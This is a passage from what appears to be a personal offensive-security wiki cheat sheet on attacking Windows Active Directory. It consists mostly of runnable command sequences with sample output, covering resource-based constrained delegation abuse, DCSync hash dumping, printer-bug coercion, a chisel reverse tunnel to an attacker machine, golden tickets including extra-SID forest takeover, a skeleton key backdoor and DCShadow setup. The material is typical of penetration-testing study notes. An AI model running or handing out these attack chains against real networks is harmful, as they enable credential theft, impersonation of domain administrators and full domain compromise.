New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString &#039;123456&#039; -AsPlainText -Force) -Verbose&lt;br /&gt;
Get-DomainComputer FAKECOMPUTER #Check if created if you have powerview&lt;br /&gt;
# Performing a complete S4U attack&lt;br /&gt;
# First of all, we created the new Computer object with the password 123456, so we need the hash of that password:&lt;br /&gt;
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local&lt;br /&gt;
# This will print the RC4 and AES hashes for that account.&lt;br /&gt;
# Now, the attack can be performed. Just use on of the hash types, not all of them :&lt;br /&gt;
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt&lt;br /&gt;
# You can generate more tickets just asking once using the /altservice param of Rubeus:&lt;br /&gt;
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt&lt;br /&gt;
### Note that users has an attribute called &amp;quot;Cannot be delegated&amp;quot;. If a user has this attribute to True, you won&#039;t be able to impersonate him . This property can be seen inside bloodhound.&lt;br /&gt;
# Accessing&lt;br /&gt;
# The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory.&lt;br /&gt;
In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:&lt;br /&gt;
ls \\victim.domain.local\C$&lt;br /&gt;
&lt;br /&gt;
# From Linux&lt;br /&gt;
# METHOD 2 - GETTING A SHELL&lt;br /&gt;
# Create a new machine account on the domain&lt;br /&gt;
impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.200.175 -hashes : -computer-name &#039;FAKECOMPUTER$&#039; -computer-pass &#039;123456&#039;&lt;br /&gt;
# Verify that the machine account was added to the domain. Must be done through a shell on the Windows.&lt;br /&gt;
*Evil-WinRM* PS C:\Users\l.livingstone\Documents&amp;gt; Get-ADComputer FAKECOMPUTER&lt;br /&gt;
# Manage delegation rights by using rbcd.py and use it to set msDS-AllowedToActOnBehalfOfOtherIdentity on our new machine account&lt;br /&gt;
https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py&lt;br /&gt;
python3 rbcd.py -dc-ip 192.168.200.175 -t RESOURCEDC -f &#039;FAKECOMPUTER&#039; -hashes : resourced\\l.livingstone&lt;br /&gt;
# If you have the hash of the user&lt;br /&gt;
impacket-rbcd -action write -delegate-to &amp;quot;BACKUP01$&amp;quot; -delegate-from &amp;quot;FAKECOMPUTER$&amp;quot; resourced.local/l.livingstone -hashes :942f15864b02fdee9f742616ea1eb778&lt;br /&gt;
# Confirm that the action was successful&lt;br /&gt;
*Evil-WinRM* PS C:\Users\L.Livingstone\Documents&amp;gt; Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-allowedtoactonbehalfofotheridentity&lt;br /&gt;
# We now need to get the administrator service ticket. We can do this by using impacket-getST with our privileged machine account.&lt;br /&gt;
/usr/bin/impacket-getST -spn cifs/resourcedc.resourced.local resourced/FAKECOMPUTEr$:&#039;123456&#039; -impersonate Administrator -dc-ip 192.168.200.175&lt;br /&gt;
# or&lt;br /&gt;
impacket-getST -spn cifs/resourcedc.resourced.local -impersonate administrator &#039;resourced.local/FAKECOMPUTER$:123456&#039;&lt;br /&gt;
# The ticket is aved on our attacker machine as Administrator.ccache. Export the environment variable named KRB5CCNAME with the location of file&lt;br /&gt;
export KRB5CCNAME=./Administrator.ccache&lt;br /&gt;
# Use psexec to get a shell&lt;br /&gt;
/usr/bin/impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.200.175&lt;br /&gt;
# or&lt;br /&gt;
impacket-psexec administrator@resourcedc.resourced.local -k -no-pass&lt;br /&gt;
&lt;br /&gt;
# From Windows&lt;br /&gt;
# Method 3&lt;br /&gt;
# Enumerate&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ |&lt;br /&gt;
Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID&lt;br /&gt;
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq&lt;br /&gt;
&amp;quot;$($env:UserDomain\$env:Username)&amp;quot;) {$_}}&lt;br /&gt;
# Creating a New Computer Account:&lt;br /&gt;
# Use the Powermad.ps1 script to create a new computer account named myComputer with the password &#039;h4x&#039;.&lt;br /&gt;
. .\powermad.ps1&lt;br /&gt;
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-&lt;br /&gt;
SecureString &#039;h4x&#039; -AsPlainText -Force)&lt;br /&gt;
# Setting up the Security Descriptor:&lt;br /&gt;
# Obtain the SID of the newly created computer account.&lt;br /&gt;
# Create a new security descriptor using the obtained SID.&lt;br /&gt;
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid&lt;br /&gt;
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))&amp;quot;&lt;br /&gt;
# Converting the Security Descriptor:&lt;br /&gt;
# Convert the security descriptor into a byte array format suitable for the msDS-AllowedToActOnBehalfOfOtherIdentity property.&lt;br /&gt;
$SDbytes = New-Object byte[] ($SD.BinaryLength)&lt;br /&gt;
$SD.GetBinaryForm($SDbytes,0)&lt;br /&gt;
# Updating the Property:&lt;br /&gt;
# Update the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target computer object (appsrv01).&lt;br /&gt;
Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{&#039;msds-allowedtoactonbehalfofotheridentity&#039;=$SDBytes}&lt;br /&gt;
# Verifying the Setup:&lt;br /&gt;
# Check the security descriptor to ensure it&#039;s set correctly.&lt;br /&gt;
$RBCDbytes = Get-DomainComputer appsrv01 -Properties &#039;msds-allowedtoactonbehalfofotheridentity&#039; | select -expand msds-allowedtoactonbehalfofotheridentity&lt;br /&gt;
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0&lt;br /&gt;
$Descriptor.DiscretionaryAcl&lt;br /&gt;
# Launching the Attack:&lt;br /&gt;
# Obtain the hash of the computer account password using Rubeus.&lt;br /&gt;
.\Rubeus.exe hash /password:h4x&lt;br /&gt;
# Use the S4U extensions with Rubeus to request a TGS for appsrv01, impersonating the administrator.&lt;br /&gt;
.\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221&lt;br /&gt;
/impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt&lt;br /&gt;
# Verifying the Attack:&lt;br /&gt;
# List the service ticket to CIFS on APPSRV01 using klist.&lt;br /&gt;
klist&lt;br /&gt;
# Gaining Access:&lt;br /&gt;
# Access the file services on appsrv01 as the administrator domain admin user.&lt;br /&gt;
dir \\appsrv01.prod.corp1.com\c$&lt;br /&gt;
# Getting shell&lt;br /&gt;
psexec.exe \\appsrv01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using NetExec for S4U2Self and S4U2Proxy ====&lt;br /&gt;
&lt;br /&gt;
New feature in [https://twitter.com/hashtag/NetExec?src=hashtag_click #NetExec] : S4U2Self and S4U2Proxy support and automation with --delegate and --self .&lt;br /&gt;
&lt;br /&gt;
It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities&lt;br /&gt;
&lt;br /&gt;
[https://twitter.com/_zblurx/status/1720409757175926893 (2) Thomas Seigneuret on X: &amp;quot;New feature in #NetExec : S4U2Self and S4U2Proxy support and automation with --delegate and --self It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities 🔥 For example with RBCD: https://t.co/1KgFDNcwcc&amp;quot; / X (twitter.com)]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
It is also possible to use only S4U2Self in order to impersonate any account on a domain joined computer for which you know the credentials:&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Desc from BloodHound ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Full control of a computer object can be used to perform a resource based constrained delegation attack. Abusing this primitive is currently only possible through the Rubeus project.&lt;br /&gt;
# First, if an attacker does not control an account with an SPN set, Kevin Robertson&#039;s Powermad project can be used to add a new attacker-controlled computer account:&lt;br /&gt;
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString &#039;Summer2018!&#039; -AsPlainText -Force)&lt;br /&gt;
# PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:&lt;br /&gt;
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid&lt;br /&gt;
# We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:&lt;br /&gt;
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))&amp;quot;&lt;br /&gt;
$SDBytes = New-Object byte[] ($SD.BinaryLength)&lt;br /&gt;
$SD.GetBinaryForm($SDBytes, 0)&lt;br /&gt;
# Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we&#039;re taking over, again using PowerView in this case:&lt;br /&gt;
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{&#039;msds-allowedtoactonbehalfofotheridentity&#039;=$SDBytes}&lt;br /&gt;
# We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:&lt;br /&gt;
Rubeus.exe hash /password:Summer2018!&lt;br /&gt;
# And finally we can use Rubeus&#039; *s4u* module to get a service ticket for the service name (sname) we want to &amp;quot;pretend&amp;quot; to be &amp;quot;admin&amp;quot; for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER:&lt;br /&gt;
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DCSync ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump domain.com/domainadmin01@dc_IP -hashes :NTLM_HASH -dc-ip DC_IP -outfile dcsync.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ACLs Abuse ==&lt;br /&gt;
&lt;br /&gt;
[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces]&lt;br /&gt;
&lt;br /&gt;
== Printer Spooler service abuse ==&lt;br /&gt;
&lt;br /&gt;
If the &#039;&#039;&#039;&#039;&#039;Print Spooler&#039;&#039;&#039;&#039;&#039; service is &#039;&#039;&#039;enabled,&#039;&#039;&#039; you can use some already known AD credentials to &#039;&#039;&#039;request&#039;&#039;&#039; to the Domain Controller’s print server an &#039;&#039;&#039;update&#039;&#039;&#039; on new print jobs and just tell it to &#039;&#039;&#039;send the notification to some system&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Finding Windows servers on the domain&lt;br /&gt;
Get-ADComputer -Filter {(OperatingSystem -like &amp;quot;*windows*server*&amp;quot;) -and (OperatingSystem -notlike &amp;quot;2016&amp;quot;) -and (Enabled -eq &amp;quot;True&amp;quot;)} -Properties * | select Name | ft -HideTableHeaders &amp;gt; servers.txt&lt;br /&gt;
&lt;br /&gt;
# Finding spooler services listening&lt;br /&gt;
. .\Get-SpoolStatus.ps1&lt;br /&gt;
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}&lt;br /&gt;
# For linux, use rpcdump.py&lt;br /&gt;
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN&lt;br /&gt;
&lt;br /&gt;
# Ask service to authenticate against an arbitrary host&lt;br /&gt;
# https://github.com/NotMedic/NetNTLMtoSilverTicket&lt;br /&gt;
SpoolSample.exe&lt;br /&gt;
# For linux use&lt;br /&gt;
# https://github.com/NotMedic/NetNTLMtoSilverTicket&lt;br /&gt;
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py&lt;br /&gt;
python dementor.py -d domain -u username -p password&lt;br /&gt;
printerbug.py &#039;domain/username:password&#039;@&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Zerologon ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/dirkjanm/CVE-2020-1472&lt;br /&gt;
# https://www.secura.com/blog/zero-logon&lt;br /&gt;
# Bypass authentication and gain administrator-level privileges in a matter of seconds. If vulnerable.&lt;br /&gt;
# Test for zerologon&lt;br /&gt;
https://github.com/SecuraBV/CVE-2020-1472&lt;br /&gt;
# PoC&lt;br /&gt;
https://github.com/dirkjanm/CVE-2020-1472&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Windows_Credentials CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Pivoting =&lt;br /&gt;
&lt;br /&gt;
== Living Off the Foreign Land == &lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform&lt;br /&gt;
&lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-2&lt;br /&gt;
&lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-3&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2294&lt;br /&gt;
&lt;br /&gt;
== Tunnelling/ Proxying ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
# SSHUTTLE&lt;br /&gt;
# Simulate a VPN tunnel using sshuttle. Now I can reach other targets, which originally was unreacheable, on the network by going through 172.16.0.5&lt;br /&gt;
sshuttle -r user@172.16.0.5 --ssh-cmd &amp;quot;ssh -i private_key&amp;quot; 172.16.0.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# -L means portforwarding. This will forward port 80 on host 172.16.0.10 to our attacker on port 8000. Can access the port (webserver) by typing localhost:8000.&lt;br /&gt;
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Post-exploitation with high privileged account =&lt;br /&gt;
&lt;br /&gt;
Once you get Domain Admin or Enterprise Admin you can dump the domain database: &#039;&#039;&#039;ntds.dit&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account]&lt;br /&gt;
&lt;br /&gt;
== Dumping Domain Credentials ==&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
== Golden Ticket ==&lt;br /&gt;
&lt;br /&gt;
=== Golden ticket on one domain ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket]&lt;br /&gt;
&lt;br /&gt;
A valid &#039;&#039;&#039;TGT as any user&#039;&#039;&#039; can be created &#039;&#039;&#039;using the NTLM hash of the krbtgt AD account&#039;&#039;&#039;. The advantage of forging a TGT instead of TGS is being &#039;&#039;&#039;able to access any service&#039;&#039;&#039; (or machine) in the domain and the impersonated user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find domain SID.&lt;br /&gt;
whoami /user # Need to be logged in as a user and not nt authority\system&lt;br /&gt;
# Or use PowerView.ps1&lt;br /&gt;
Get-DomainSID&lt;br /&gt;
# EXAMPLE 1&lt;br /&gt;
# Use mimikatz to generate a golden ticket&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # kerberos::golden /user:alice /domain:svcorp.com /sid:S-1-5-21-466546139-763938477-1796994327 /target:sv-file01.svcorp.com /service:HTTP /rc4:7f004ce6b8f7b2a3b6c477806799b9c0 /ptt&lt;br /&gt;
# EXAMPLE 2&lt;br /&gt;
#mimikatz&lt;br /&gt;
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt&lt;br /&gt;
.\Rubeus.exe ptt /ticket:ticket.kirbi&lt;br /&gt;
klist #List tickets in memory&lt;br /&gt;
# EXAMPLE 3&lt;br /&gt;
# Example using aes key&lt;br /&gt;
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi&lt;br /&gt;
# EXAMPLE 4&lt;br /&gt;
# Linux - impacket&lt;br /&gt;
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache&lt;br /&gt;
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass&lt;br /&gt;
&lt;br /&gt;
# With the golden ticket injected into memory, we can launch a new command prompt with&lt;br /&gt;
misc::cmd and again attempt lateral movement with PsExec.&lt;br /&gt;
psexec.exe \\dc01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Taking over forest with extra SIDs ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Crafting the Golden Ticket with Extra SIDs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Imagine an attacker manages to compromise the krbtgt account of a domain. This is akin to finding a master key. With this, they can meticulously craft a special Kerberos ticket, termed a &amp;quot;golden ticket.&amp;quot; This ticket can be manipulated, almost like forging a passport, to include extra SIDs. Specifically, they can add the SID of the Enterprise Admins group from another domain. This means, even if the attacker was initially confined to one domain, this ticket can catapult them to Enterprise Admin rights in another domain.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From Windows&lt;br /&gt;
# Extract the password hash of the krbtgt account.&lt;br /&gt;
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt&lt;br /&gt;
#  Golden Ticket Creation: Armed with the hash, we can proceed use the kerberos::golden command in Mimikatz. Craft a golden ticket, and append the SID of the Enterprise Admins group from another domain to the ExtraSids field.&lt;br /&gt;
# As part of the kerberos::golden command’s arguments, we will need the domain SID for both domains. We can obtain these with Get-DomainSID from PowerView:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainSID -Domain prod.corp1.com&lt;br /&gt;
S-1-5-21-3776646582-2086779273-4091361643&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainSid -Domain corp1.com&lt;br /&gt;
S-1-5-21-1095350385-1831131555-2412080359&lt;br /&gt;
&lt;br /&gt;
mimikatz # kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt&lt;br /&gt;
...&lt;br /&gt;
Golden ticket for &#039;h4x @ prod.corp1.com&#039; successfully submitted for current session&lt;br /&gt;
&lt;br /&gt;
# Get command exec&lt;br /&gt;
C:\tools&amp;gt; c:\tools\SysinternalsSuite\PsExec.exe \\rdc01 cmd&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#  Verifying Group Memberships&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name Type&lt;br /&gt;
============================================ ================&lt;br /&gt;
Everyone Well-known group&lt;br /&gt;
...&lt;br /&gt;
PROD\Domain Admins Group&lt;br /&gt;
PROD\Group Policy Creator Owners Group&lt;br /&gt;
Unknown SID type&lt;br /&gt;
Unknown SID type&lt;br /&gt;
CORP1\Enterprise Admins Group&lt;br /&gt;
...&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
# From Linux&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/trusts#forging-tickets&lt;br /&gt;
ticketer.py -nthash KRBTGT-hash -domain DOMAIN NAME -domain-sid TARGET DOMAIN SID with RID.(can be administrator sid with 500 rid)&lt;br /&gt;
ticketer.py -nthash 0540fe51ddd618f42a66ef059ac36555 -domain internal.domain.com -domain-sid S-1-5-21-3056178012-3972705859-491075555 -extra-sid S-1-5-21-2734290894-461713716-14185555-519 Administrator&lt;br /&gt;
# Add ccache to krb5ccname&lt;br /&gt;
export krb5ccname=Administrator.ccache&lt;br /&gt;
# Use secretsdump or psexec or netexec&lt;br /&gt;
secretsdump.py &#039;internal.domain.com/Administrator&#039;@DC01.domain.com -k -no-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SID filtering ===&lt;br /&gt;
&lt;br /&gt;
Forest trust introduces the concept of SID filtering. In forest trust, the contents of the ExtraSids field are filtered so group memberships are not blindly trusted.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using PowerView we can enumerate domain trust on the target domain. We have already compromised corp1.com and we want to generate a golden ticket using the technique above.&lt;br /&gt;
PS C:\&amp;gt; Get-DomainTrust -Domain corp2.com&lt;br /&gt;
...&lt;br /&gt;
TrustAttributes : FOREST_TRANSITIVE&lt;br /&gt;
...&lt;br /&gt;
# Sometimes orgs need to relax SID filtering protectiong because of merger or other resons. That can be done by enabled SID history, which relax the protection.&lt;br /&gt;
C:\Users\Administrator&amp;gt; netdom trust corp2.com /d:corp1.com /enablesidhistory:yes&lt;br /&gt;
Enabling SID history for this trust.&lt;br /&gt;
The command completed successfully.&lt;br /&gt;
# Microsoft dictated that any SID with a RID less than 1000 will always be filtered regardless of the&lt;br /&gt;
 SID history setting.&lt;br /&gt;
# This means we need to find a non-default group, because they will always have a RID higher than 1000.&lt;br /&gt;
# We can enumerate members of the built-in administrators on target domain.&lt;br /&gt;
Get-DomainGroupMember -Identity &amp;quot;Administrators&amp;quot; -Domain corp2.com&lt;br /&gt;
# Once we have everything (The two domain SIDs, krbtgt NTLM hash, and a non-default group RID) we can request a golden ticket using mimikatz.&lt;br /&gt;
kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-&lt;br /&gt;
1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-&lt;br /&gt;
4182647938-3943167060-1815963754-1106 /ptt&lt;br /&gt;
# And gain access to target&lt;br /&gt;
C:\&amp;gt; PsExec.exe \\dc01.corp2.com cmd&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
corp1\h4x&lt;br /&gt;
&lt;br /&gt;
# Meterpreter shell using run.txt&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; run&lt;br /&gt;
[*] Meterpreter session 2 opened (192.168.45.169:443 -&amp;gt; 192.168.174.80:63561) at 2023-10-11 15:24:53 -0400&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
Server username: CORP1\h4x&lt;br /&gt;
meterpreter &amp;gt; sysinfo&lt;br /&gt;
Computer        : DC01&lt;br /&gt;
OS              : Windows 2016+ (10.0 Build 17763).&lt;br /&gt;
Architecture    : x64&lt;br /&gt;
System Language : en_US&lt;br /&gt;
Domain          : CORP2&lt;br /&gt;
Logged On Users : 16&lt;br /&gt;
Meterpreter     : x64/windows&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Silver Ticket ==&lt;br /&gt;
&lt;br /&gt;
== AdminSDHolder Group ==&lt;br /&gt;
&lt;br /&gt;
== DSRM Credentials ==&lt;br /&gt;
&lt;br /&gt;
== ACL Persistence ==&lt;br /&gt;
&lt;br /&gt;
== Security Descriptors ==&lt;br /&gt;
&lt;br /&gt;
== Skelton Key ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Run from DC. Enables password “mimikatz” for all users.&lt;br /&gt;
privilege::debug&lt;br /&gt;
misc::skeleton&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Custom SSP ==&lt;br /&gt;
&lt;br /&gt;
== DCShadow ==&lt;br /&gt;
&lt;br /&gt;
[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#dcshadow OSEP Cheat Sheet | 0x4rt3mis]&lt;br /&gt;
&lt;br /&gt;
DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.&lt;br /&gt;
&lt;br /&gt;
Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses &amp;lt;code&amp;gt;Set-DCShadowPermissions.ps1&amp;lt;/code&amp;gt; cmdlet).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, from any machine, use Mimikatz to stage the DCShadow attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Set SPN for user&lt;br /&gt;
